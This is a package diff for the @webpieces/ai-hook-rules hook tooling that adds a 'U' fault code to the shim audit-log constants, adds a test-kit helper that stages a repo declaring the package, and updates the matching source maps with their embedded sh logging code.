@@ -30,7 +30,7 @@ export declare const SHIM_LOG_VERDICTS: readonly ["PASS-BIN-ALLOW", "PASS-BIN-BL
|
|
|
30
30
|
* the shim cannot classify S / C / Y, which the BINARY detects (and logs through its own streams), so
|
|
31
31
|
* a `-` here is a statement about this layer only, not a claim that nothing was wrong.
|
|
32
32
|
*/
|
|
33
|
-
export declare const SHIM_LOG_FAULTS: readonly ["D", "X", "K", "-"];
|
|
33
|
+
export declare const SHIM_LOG_FAULTS: readonly ["D", "X", "U", "K", "-"];
|
|
34
34
|
/**
|
|
35
35
|
* Shell fragment: derive WHERE this call's log belongs — the sh TWIN of `DotWebpieces.local()` +
|
|
36
36
|
* `worktreeName()` + `primaryRoot()` in @webpieces/rules-config.
|
|
@@ -59,7 +59,7 @@ exports.SHIM_LOG_VERDICTS = [
|
|
|
59
59
|
* the shim cannot classify S / C / Y, which the BINARY detects (and logs through its own streams), so
|
|
60
60
|
* a `-` here is a statement about this layer only, not a claim that nothing was wrong.
|
|
61
61
|
*/
|
|
62
|
-
exports.SHIM_LOG_FAULTS = ['D', 'X', 'K', '-'];
|
|
62
|
+
exports.SHIM_LOG_FAULTS = ['D', 'X', 'U', 'K', '-'];
|
|
63
63
|
/**
|
|
64
64
|
* Shell fragment: derive WHERE this call's log belongs — the sh TWIN of `DotWebpieces.local()` +
|
|
65
65
|
* `worktreeName()` + `primaryRoot()` in @webpieces/rules-config.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"shim-audit-log.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-audit-log.ts"],"names":[],"mappings":";;;AAAA,0DAAgG;AAEhG,8EAA8E;AAC9E,0FAA0F;AAC1F,EAAE;AACF,qGAAqG;AACrG,mGAAmG;AACnG,uGAAuG;AACvG,EAAE;AACF,sGAAsG;AACtG,sGAAsG;AACtG,uGAAuG;AACvG,oGAAoG;AACpG,sGAAsG;AACtG,sGAAsG;AACtG,qGAAqG;AACrG,yFAAyF;AACzF,EAAE;AACF,iCAAiC;AACjC,oGAAoG;AACpG,sGAAsG;AACtG,wDAAwD;AACxD,oEAAoE;AACpE,8EAA8E;AAE9E,mGAAmG;AACtF,QAAA,aAAa,GAAG,kBAAkB,CAAC;AACnC,QAAA,kBAAkB,GAAG,oBAAoB,CAAC;AAEvD;;;;;GAKG;AACU,QAAA,kBAAkB,GAAG,GAAG,GAAG,IAAI,CAAC;AAE7C;;;;;;;;;;;;;;;GAeG;AACU,QAAA,iBAAiB,GAAG;IAC7B,gBAAgB,EAAE,gBAAgB,EAAE,YAAY,EAAE,cAAc,EAAE,YAAY;IAC9E,MAAM,EAAE,YAAY,EAAE,aAAa;CAC7B,CAAC;AAEX;;;;GAIG;AACU,QAAA,eAAe,GAAG,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,CAAU,CAAC;AAE7D;;;;;;;;;;;;;;;;;;;GAmBG;AACU,QAAA,kBAAkB,GAAG;;;;;2CAKS,gCAAiB,IAAI,6BAAc;;;;;;;;;;;;;;+BAc/C,gCAAiB,IAAI,6BAAc;;;;;+BAKnC,gCAAiB,IAAI,iCAAkB,aAAa,6BAAc;;EAE/F,CAAC;AAEH;;;;;;;;;;;;;;;;;GAiBG;AACU,QAAA,SAAS,GAAG;;EAEvB,0BAAkB;;;;;yBAKK,qBAAa;;;;;sBAKhB,MAAM,CAAC,0BAAkB,CAAC,qCAAqC,0BAAkB;;;EAGrG,CAAC","sourcesContent":["import { LOGS_STATE_DIR, WORKTREE_STATE_DIR, WEBPIECES_TMP_DIR } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 AUDIT LOG, in POSIX sh — the shim half of `.webpieces/**/logs/ai-hook-shim.log`.\n//\n// Split out of ./shim.ts (which renders the shim body) purely so both stay readable; shim.ts splices\n// these fragments in verbatim and re-exports the constants. Like l0-allowlist.ts, this module must\n// stay dependency-light: the shim it renders has to work on a tree too broken to load the rule engine.\n//\n// ─── What changed, and why it is not just a bigger log ─────────────────────────────────────────────\n// This log used to be a FAULT log wearing an audit log's name. `wp_log` fired only on the fail-closed\n// path (ALLOW-READ / ALLOW-CONFIG / ALLOW-CURE / DENY*), so a HEALTHY call — the overwhelming majority\n// — exec'd the bin and recorded nothing at all. You could therefore never answer \"what did L0 do to\n// this tool call?\", only \"what did L0 do on the calls where L0 was already broken\". Absence of a line\n// meant either \"healthy\" or \"the shim never ran\", and those are the two answers you most need to tell\n// apart. Every path now logs exactly one line, including the pass-through, so the file can be diffed\n// against the documented matrix in guards/L0-tooling.md rather than merely spot-checked.\n//\n// Two more defects went with it:\n// • it wrote to a hardcoded `$ROOT/.webpieces/logs`, so every worktree's lines landed in one flat\n// file (or, worse, in whichever tree happened to hold the shim) instead of the per-tree namespace\n// the L1 binary has used since the state-dir split;\n// • it had NO rotation, on a file now written on EVERY tool call.\n// ---------------------------------------------------------------------------\n\n/** The audit log's filename, and the sibling a rotation renames it to. Mirrors decision-log.ts. */\nexport const SHIM_LOG_FILE = 'ai-hook-shim.log';\nexport const SHIM_LOG_FILE_PREV = 'ai-hook-shim.1.log';\n\n/**\n * Rotation threshold, in bytes — 512 KB, the SAME number and the same `.1.log` naming as\n * decision-log.ts / rejection-log.ts / main-sync-log.ts. Deliberately identical rather than merely\n * similar: two log families in one directory with two different retention rules is a trap for whoever\n * later tries to reason about how much history they still have.\n */\nexport const SHIM_LOG_MAX_BYTES = 512 * 1024;\n\n/**\n * The verdict vocabulary one shim invocation can record, and how each maps to guards/L0-tooling.md.\n *\n * The three ALLOW-* and three DENY-* labels are the ones this log has always used and are kept\n * verbatim, so anything already grepping them keeps working. `PASS-BIN-*` is new: it is the healthy\n * case the log used to be silent about.\n *\n * PASS-BIN-ALLOW no sh-side fault; the bin ran and returned 0 → matrix row 1 (no fault → L1)\n * PASS-BIN-BLOCK no sh-side fault; the bin ran and returned 2 → matrix row 1; a LATER layer blocked\n * ALLOW-READ allowlist entry 1 (any Read) → PASS, terminal here (use case 10)\n * ALLOW-CONFIG allowlist entry 2 (webpieces.config.json) → PASS, terminal here\n * ALLOW-CURE allowlist entries 3-8 (a cure command) → ALLOW\n * DENY fault X, not on the allowlist → BLOCK_AI_CURE\n * DENY-STALE fault D, not on the allowlist → BLOCK_AI_CURE\n * DENY-BROKEN fault K, not on the allowlist → BLOCK_AI_CURE\n */\nexport const SHIM_LOG_VERDICTS = [\n 'PASS-BIN-ALLOW', 'PASS-BIN-BLOCK', 'ALLOW-READ', 'ALLOW-CONFIG', 'ALLOW-CURE',\n 'DENY', 'DENY-STALE', 'DENY-BROKEN',\n] as const;\n\n/**\n * The sh-side L0 fault codes, exactly as guards/L0-tooling.md names them. `-` means \"no sh-side fault\" —\n * the shim cannot classify S / C / Y, which the BINARY detects (and logs through its own streams), so\n * a `-` here is a statement about this layer only, not a claim that nothing was wrong.\n */\nexport const SHIM_LOG_FAULTS = ['D', 'X', 'K', '-'] as const;\n\n/**\n * Shell fragment: derive WHERE this call's log belongs — the sh TWIN of `DotWebpieces.local()` +\n * `worktreeName()` + `primaryRoot()` in @webpieces/rules-config.\n *\n * sh cannot import TypeScript, so this derivation is duplicated by necessity; the mitigation is\n * `shim-audit-log.spec.ts`, which runs THIS function through a real /bin/sh in real git worktrees and\n * asserts it returns exactly what `dotWebpieces.worktreeName()` returns. If the two ever disagree the\n * lock goes red rather than the logs quietly splitting in half.\n *\n * It asks git the SAME question the TS side asks — `--git-dir` vs `--git-common-dir`, which differ if\n * and only if this is a linked worktree — but in ONE `rev-parse` (it accepts both flags and prints a\n * line each) rather than two, because this runs on the blocking path of every tool call.\n *\n * The tree is derived from the PAYLOAD's `cwd` (Claude Code documents it as the working directory the\n * hook was invoked from), not from `$ROOT`. `$ROOT` is where the shim FILE lives and stays the anchor\n * for what the drift guard MEASURES — this fragment changes only where the log is WRITTEN.\n *\n * Fails soft, exactly like the TS side: when git cannot answer, the log collapses to\n * `<cwd>/.webpieces/logs`, which is the pre-change behaviour.\n */\nexport const RESOLVE_LOG_DIR_SH = `wp_resolve_log_dir() {\n _wp_rp=\"$(git -C \"$WP_CWD\" rev-parse --git-dir --git-common-dir 2>/dev/null)\"\n _wp_gd=\"$(printf '%s\\\\n' \"$_wp_rp\" | sed -n 1p)\"\n _wp_cd=\"$(printf '%s\\\\n' \"$_wp_rp\" | sed -n 2p)\"\n if [ -z \"$_wp_gd\" ] || [ -z \"$_wp_cd\" ]; then\n WP_TREE=primary; WP_LOG_DIR=\"$WP_CWD/${WEBPIECES_TMP_DIR}/${LOGS_STATE_DIR}\"; return 0\n fi\n # git prints a BARE .git from the primary clone and an absolute path from a linked worktree; the TS\n # twin runs path.resolve(cwd, printed), so do the same before comparing or taking a basename.\n case \"$_wp_gd\" in /*) : ;; *) _wp_gd=\"$WP_CWD/$_wp_gd\" ;; esac\n case \"$_wp_cd\" in /*) : ;; *) _wp_cd=\"$WP_CWD/$_wp_cd\" ;; esac\n # The primary clone's root is the parent of the SHARED git dir — declining any layout whose shared\n # dir is not named .git (a bare repo, --separate-git-dir), same test as primaryRoot().\n _wp_primary=\"$WP_CWD\"\n case \"$_wp_cd\" in\n */.git) [ -d \"\\${_wp_cd%/*}\" ] && _wp_primary=\"\\${_wp_cd%/*}\" ;;\n esac\n if [ \"$_wp_gd\" = \"$_wp_cd\" ]; then\n WP_TREE=primary\n WP_LOG_DIR=\"$_wp_primary/${WEBPIECES_TMP_DIR}/${LOGS_STATE_DIR}\"\n else\n # git's OWN name for the worktree (the basename of <primary>/.git/worktrees/<name>), not the\n # directory's basename — two worktrees under different parents may share a directory name.\n WP_TREE=\"\\${_wp_gd##*/}\"\n WP_LOG_DIR=\"$_wp_primary/${WEBPIECES_TMP_DIR}/${WORKTREE_STATE_DIR}/$WP_TREE/${LOGS_STATE_DIR}\"\n fi\n}`;\n\n/**\n * Shell fragment: the audit-log writer itself — `wp_log <fault> <verdict>`, one tab-separated line.\n *\n * FORMAT (7 fields, tab-separated, append-only):\n * <iso-ts> <bin-name> <tool> tree=<name|primary> fault=<D|X|K|-> <VERDICT> <command>\n *\n * `tree=` and `fault=` are the two fields that make the file reconcilable against guards/L0-tooling.md:\n * the first says WHICH checkout produced the line (a shared log across seven worktrees is otherwise\n * unreadable), the second says which of the six documented faults the sh half detected. The verdict\n * keeps its historical spelling and stays adjacent to the command, so `grep 'DENY-STALE\\\\t'` still\n * finds what it always found.\n *\n * NEVER breaks or blocks the hook: the whole body is wrapped so a failure of any kind — unwritable\n * directory, read-only filesystem, missing `git` — is swallowed, and nothing is ever written to\n * stdout (stdout is the PreToolUse decision channel; a stray byte there corrupts allow/deny).\n *\n * The log dir is resolved LAZILY on first use so a call that never logs never pays for the git probe.\n */\nexport const WP_LOG_SH = `WP_TREE=\"\"\nWP_LOG_DIR=\"\"\n${RESOLVE_LOG_DIR_SH}\nwp_log() { # $1 = L0 fault code (D|X|K|-), $2 = verdict label\n {\n [ -n \"$WP_LOG_DIR\" ] || wp_resolve_log_dir\n mkdir -p \"$WP_LOG_DIR\" 2>/dev/null || return 0\n _wp_f=\"$WP_LOG_DIR/${SHIM_LOG_FILE}\"\n # Rotate at the SAME 512 KB into the SAME .1.log sibling as every JS-side webpieces log. This runs\n # on every tool call, so it is one wc and no more; a size we cannot read counts as 0 (no rotation).\n _wp_sz=\"$(wc -c < \"$_wp_f\" 2>/dev/null | tr -d ' ')\"\n case \"$_wp_sz\" in ''|*[!0-9]*) _wp_sz=0 ;; esac\n [ \"$_wp_sz\" -gt ${String(SHIM_LOG_MAX_BYTES)} ] && mv -f \"$_wp_f\" \"$WP_LOG_DIR/${SHIM_LOG_FILE_PREV}\" 2>/dev/null\n printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"$BIN_NAME\" \"$TOOL\" \"tree=$WP_TREE\" \"fault=$1\" \"$2\" \"$CMD\" >> \"$_wp_f\"\n } 2>/dev/null || true\n}`;\n"]}
|
|
1
|
+
{"version":3,"file":"shim-audit-log.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-audit-log.ts"],"names":[],"mappings":";;;AAAA,0DAAgG;AAEhG,8EAA8E;AAC9E,0FAA0F;AAC1F,EAAE;AACF,qGAAqG;AACrG,mGAAmG;AACnG,uGAAuG;AACvG,EAAE;AACF,sGAAsG;AACtG,sGAAsG;AACtG,uGAAuG;AACvG,oGAAoG;AACpG,sGAAsG;AACtG,sGAAsG;AACtG,qGAAqG;AACrG,yFAAyF;AACzF,EAAE;AACF,iCAAiC;AACjC,oGAAoG;AACpG,sGAAsG;AACtG,wDAAwD;AACxD,oEAAoE;AACpE,8EAA8E;AAE9E,mGAAmG;AACtF,QAAA,aAAa,GAAG,kBAAkB,CAAC;AACnC,QAAA,kBAAkB,GAAG,oBAAoB,CAAC;AAEvD;;;;;GAKG;AACU,QAAA,kBAAkB,GAAG,GAAG,GAAG,IAAI,CAAC;AAE7C;;;;;;;;;;;;;;;GAeG;AACU,QAAA,iBAAiB,GAAG;IAC7B,gBAAgB,EAAE,gBAAgB,EAAE,YAAY,EAAE,cAAc,EAAE,YAAY;IAC9E,MAAM,EAAE,YAAY,EAAE,aAAa;CAC7B,CAAC;AAEX;;;;GAIG;AACU,QAAA,eAAe,GAAG,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,CAAU,CAAC;AAElE;;;;;;;;;;;;;;;;;;;GAmBG;AACU,QAAA,kBAAkB,GAAG;;;;;2CAKS,gCAAiB,IAAI,6BAAc;;;;;;;;;;;;;;+BAc/C,gCAAiB,IAAI,6BAAc;;;;;+BAKnC,gCAAiB,IAAI,iCAAkB,aAAa,6BAAc;;EAE/F,CAAC;AAEH;;;;;;;;;;;;;;;;;GAiBG;AACU,QAAA,SAAS,GAAG;;EAEvB,0BAAkB;;;;;yBAKK,qBAAa;;;;;sBAKhB,MAAM,CAAC,0BAAkB,CAAC,qCAAqC,0BAAkB;;;EAGrG,CAAC","sourcesContent":["import { LOGS_STATE_DIR, WORKTREE_STATE_DIR, WEBPIECES_TMP_DIR } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 AUDIT LOG, in POSIX sh — the shim half of `.webpieces/**/logs/ai-hook-shim.log`.\n//\n// Split out of ./shim.ts (which renders the shim body) purely so both stay readable; shim.ts splices\n// these fragments in verbatim and re-exports the constants. Like l0-allowlist.ts, this module must\n// stay dependency-light: the shim it renders has to work on a tree too broken to load the rule engine.\n//\n// ─── What changed, and why it is not just a bigger log ─────────────────────────────────────────────\n// This log used to be a FAULT log wearing an audit log's name. `wp_log` fired only on the fail-closed\n// path (ALLOW-READ / ALLOW-CONFIG / ALLOW-CURE / DENY*), so a HEALTHY call — the overwhelming majority\n// — exec'd the bin and recorded nothing at all. You could therefore never answer \"what did L0 do to\n// this tool call?\", only \"what did L0 do on the calls where L0 was already broken\". Absence of a line\n// meant either \"healthy\" or \"the shim never ran\", and those are the two answers you most need to tell\n// apart. Every path now logs exactly one line, including the pass-through, so the file can be diffed\n// against the documented matrix in guards/L0-tooling.md rather than merely spot-checked.\n//\n// Two more defects went with it:\n// • it wrote to a hardcoded `$ROOT/.webpieces/logs`, so every worktree's lines landed in one flat\n// file (or, worse, in whichever tree happened to hold the shim) instead of the per-tree namespace\n// the L1 binary has used since the state-dir split;\n// • it had NO rotation, on a file now written on EVERY tool call.\n// ---------------------------------------------------------------------------\n\n/** The audit log's filename, and the sibling a rotation renames it to. Mirrors decision-log.ts. */\nexport const SHIM_LOG_FILE = 'ai-hook-shim.log';\nexport const SHIM_LOG_FILE_PREV = 'ai-hook-shim.1.log';\n\n/**\n * Rotation threshold, in bytes — 512 KB, the SAME number and the same `.1.log` naming as\n * decision-log.ts / rejection-log.ts / main-sync-log.ts. Deliberately identical rather than merely\n * similar: two log families in one directory with two different retention rules is a trap for whoever\n * later tries to reason about how much history they still have.\n */\nexport const SHIM_LOG_MAX_BYTES = 512 * 1024;\n\n/**\n * The verdict vocabulary one shim invocation can record, and how each maps to guards/L0-tooling.md.\n *\n * The three ALLOW-* and three DENY-* labels are the ones this log has always used and are kept\n * verbatim, so anything already grepping them keeps working. `PASS-BIN-*` is new: it is the healthy\n * case the log used to be silent about.\n *\n * PASS-BIN-ALLOW no sh-side fault; the bin ran and returned 0 → matrix row 1 (no fault → L1)\n * PASS-BIN-BLOCK no sh-side fault; the bin ran and returned 2 → matrix row 1; a LATER layer blocked\n * ALLOW-READ allowlist entry 1 (any Read) → PASS, terminal here (use case 10)\n * ALLOW-CONFIG allowlist entry 2 (webpieces.config.json) → PASS, terminal here\n * ALLOW-CURE allowlist entries 3-8 (a cure command) → ALLOW\n * DENY fault X, not on the allowlist → BLOCK_AI_CURE\n * DENY-STALE fault D, not on the allowlist → BLOCK_AI_CURE\n * DENY-BROKEN fault K, not on the allowlist → BLOCK_AI_CURE\n */\nexport const SHIM_LOG_VERDICTS = [\n 'PASS-BIN-ALLOW', 'PASS-BIN-BLOCK', 'ALLOW-READ', 'ALLOW-CONFIG', 'ALLOW-CURE',\n 'DENY', 'DENY-STALE', 'DENY-BROKEN',\n] as const;\n\n/**\n * The sh-side L0 fault codes, exactly as guards/L0-tooling.md names them. `-` means \"no sh-side fault\" —\n * the shim cannot classify S / C / Y, which the BINARY detects (and logs through its own streams), so\n * a `-` here is a statement about this layer only, not a claim that nothing was wrong.\n */\nexport const SHIM_LOG_FAULTS = ['D', 'X', 'U', 'K', '-'] as const;\n\n/**\n * Shell fragment: derive WHERE this call's log belongs — the sh TWIN of `DotWebpieces.local()` +\n * `worktreeName()` + `primaryRoot()` in @webpieces/rules-config.\n *\n * sh cannot import TypeScript, so this derivation is duplicated by necessity; the mitigation is\n * `shim-audit-log.spec.ts`, which runs THIS function through a real /bin/sh in real git worktrees and\n * asserts it returns exactly what `dotWebpieces.worktreeName()` returns. If the two ever disagree the\n * lock goes red rather than the logs quietly splitting in half.\n *\n * It asks git the SAME question the TS side asks — `--git-dir` vs `--git-common-dir`, which differ if\n * and only if this is a linked worktree — but in ONE `rev-parse` (it accepts both flags and prints a\n * line each) rather than two, because this runs on the blocking path of every tool call.\n *\n * The tree is derived from the PAYLOAD's `cwd` (Claude Code documents it as the working directory the\n * hook was invoked from), not from `$ROOT`. `$ROOT` is where the shim FILE lives and stays the anchor\n * for what the drift guard MEASURES — this fragment changes only where the log is WRITTEN.\n *\n * Fails soft, exactly like the TS side: when git cannot answer, the log collapses to\n * `<cwd>/.webpieces/logs`, which is the pre-change behaviour.\n */\nexport const RESOLVE_LOG_DIR_SH = `wp_resolve_log_dir() {\n _wp_rp=\"$(git -C \"$WP_CWD\" rev-parse --git-dir --git-common-dir 2>/dev/null)\"\n _wp_gd=\"$(printf '%s\\\\n' \"$_wp_rp\" | sed -n 1p)\"\n _wp_cd=\"$(printf '%s\\\\n' \"$_wp_rp\" | sed -n 2p)\"\n if [ -z \"$_wp_gd\" ] || [ -z \"$_wp_cd\" ]; then\n WP_TREE=primary; WP_LOG_DIR=\"$WP_CWD/${WEBPIECES_TMP_DIR}/${LOGS_STATE_DIR}\"; return 0\n fi\n # git prints a BARE .git from the primary clone and an absolute path from a linked worktree; the TS\n # twin runs path.resolve(cwd, printed), so do the same before comparing or taking a basename.\n case \"$_wp_gd\" in /*) : ;; *) _wp_gd=\"$WP_CWD/$_wp_gd\" ;; esac\n case \"$_wp_cd\" in /*) : ;; *) _wp_cd=\"$WP_CWD/$_wp_cd\" ;; esac\n # The primary clone's root is the parent of the SHARED git dir — declining any layout whose shared\n # dir is not named .git (a bare repo, --separate-git-dir), same test as primaryRoot().\n _wp_primary=\"$WP_CWD\"\n case \"$_wp_cd\" in\n */.git) [ -d \"\\${_wp_cd%/*}\" ] && _wp_primary=\"\\${_wp_cd%/*}\" ;;\n esac\n if [ \"$_wp_gd\" = \"$_wp_cd\" ]; then\n WP_TREE=primary\n WP_LOG_DIR=\"$_wp_primary/${WEBPIECES_TMP_DIR}/${LOGS_STATE_DIR}\"\n else\n # git's OWN name for the worktree (the basename of <primary>/.git/worktrees/<name>), not the\n # directory's basename — two worktrees under different parents may share a directory name.\n WP_TREE=\"\\${_wp_gd##*/}\"\n WP_LOG_DIR=\"$_wp_primary/${WEBPIECES_TMP_DIR}/${WORKTREE_STATE_DIR}/$WP_TREE/${LOGS_STATE_DIR}\"\n fi\n}`;\n\n/**\n * Shell fragment: the audit-log writer itself — `wp_log <fault> <verdict>`, one tab-separated line.\n *\n * FORMAT (7 fields, tab-separated, append-only):\n * <iso-ts> <bin-name> <tool> tree=<name|primary> fault=<D|X|K|-> <VERDICT> <command>\n *\n * `tree=` and `fault=` are the two fields that make the file reconcilable against guards/L0-tooling.md:\n * the first says WHICH checkout produced the line (a shared log across seven worktrees is otherwise\n * unreadable), the second says which of the six documented faults the sh half detected. The verdict\n * keeps its historical spelling and stays adjacent to the command, so `grep 'DENY-STALE\\\\t'` still\n * finds what it always found.\n *\n * NEVER breaks or blocks the hook: the whole body is wrapped so a failure of any kind — unwritable\n * directory, read-only filesystem, missing `git` — is swallowed, and nothing is ever written to\n * stdout (stdout is the PreToolUse decision channel; a stray byte there corrupts allow/deny).\n *\n * The log dir is resolved LAZILY on first use so a call that never logs never pays for the git probe.\n */\nexport const WP_LOG_SH = `WP_TREE=\"\"\nWP_LOG_DIR=\"\"\n${RESOLVE_LOG_DIR_SH}\nwp_log() { # $1 = L0 fault code (D|X|K|-), $2 = verdict label\n {\n [ -n \"$WP_LOG_DIR\" ] || wp_resolve_log_dir\n mkdir -p \"$WP_LOG_DIR\" 2>/dev/null || return 0\n _wp_f=\"$WP_LOG_DIR/${SHIM_LOG_FILE}\"\n # Rotate at the SAME 512 KB into the SAME .1.log sibling as every JS-side webpieces log. This runs\n # on every tool call, so it is one wc and no more; a size we cannot read counts as 0 (no rotation).\n _wp_sz=\"$(wc -c < \"$_wp_f\" 2>/dev/null | tr -d ' ')\"\n case \"$_wp_sz\" in ''|*[!0-9]*) _wp_sz=0 ;; esac\n [ \"$_wp_sz\" -gt ${String(SHIM_LOG_MAX_BYTES)} ] && mv -f \"$_wp_f\" \"$WP_LOG_DIR/${SHIM_LOG_FILE_PREV}\" 2>/dev/null\n printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"$BIN_NAME\" \"$TOOL\" \"tree=$WP_TREE\" \"fault=$1\" \"$2\" \"$CMD\" >> \"$_wp_f\"\n } 2>/dev/null || true\n}`;\n"]}
|
|
@@ -54,6 +54,15 @@ export declare class ShimTestkit {
|
|
|
54
54
|
* second copy is a second definition of what "drift" means.
|
|
55
55
|
*/
|
|
56
56
|
stageDriftRoot(declared: string, installed: string): string;
|
|
57
|
+
/**
|
|
58
|
+
* A repo root that DECLARES @webpieces/ai-hook-rules but has nothing installed — fault X, the
|
|
59
|
+
* ordinary fresh-clone / new-worktree case whose cure really is `pnpm install`.
|
|
60
|
+
*
|
|
61
|
+
* A bare mktmp() root is NOT this case, and that distinction is the whole point of fault U: with no
|
|
62
|
+
* package.json at all, nothing asks for the package and `pnpm install` is a no-op. Every X spec must
|
|
63
|
+
* stage the declaration explicitly, or it silently asserts against the U message instead.
|
|
64
|
+
*/
|
|
65
|
+
stageDeclaredRoot(declared?: string): string;
|
|
57
66
|
/**
|
|
58
67
|
* A throwaway repo root that OWNS a committed shim at shimPath(root) with the given contents
|
|
59
68
|
* (null = no shim at all, i.e. a fresh clone / global install). Shared by the two spec files that
|
package/src/bin/shim-testkit.js
CHANGED
|
@@ -103,6 +103,19 @@ class ShimTestkit {
|
|
|
103
103
|
fs.writeFileSync(path.join(manifestDir, 'package.json'), JSON.stringify({ name: '@webpieces/pr-gate', version: installed }, null, 2) + '\n');
|
|
104
104
|
return root;
|
|
105
105
|
}
|
|
106
|
+
/**
|
|
107
|
+
* A repo root that DECLARES @webpieces/ai-hook-rules but has nothing installed — fault X, the
|
|
108
|
+
* ordinary fresh-clone / new-worktree case whose cure really is `pnpm install`.
|
|
109
|
+
*
|
|
110
|
+
* A bare mktmp() root is NOT this case, and that distinction is the whole point of fault U: with no
|
|
111
|
+
* package.json at all, nothing asks for the package and `pnpm install` is a no-op. Every X spec must
|
|
112
|
+
* stage the declaration explicitly, or it silently asserts against the U message instead.
|
|
113
|
+
*/
|
|
114
|
+
stageDeclaredRoot(declared = '0.4.574') {
|
|
115
|
+
const root = this.mktmp();
|
|
116
|
+
fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ devDependencies: { '@webpieces/ai-hook-rules': declared } }, null, 2) + '\n');
|
|
117
|
+
return root;
|
|
118
|
+
}
|
|
106
119
|
/**
|
|
107
120
|
* A throwaway repo root that OWNS a committed shim at shimPath(root) with the given contents
|
|
108
121
|
* (null = no shim at all, i.e. a fresh clone / global install). Shared by the two spec files that
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":"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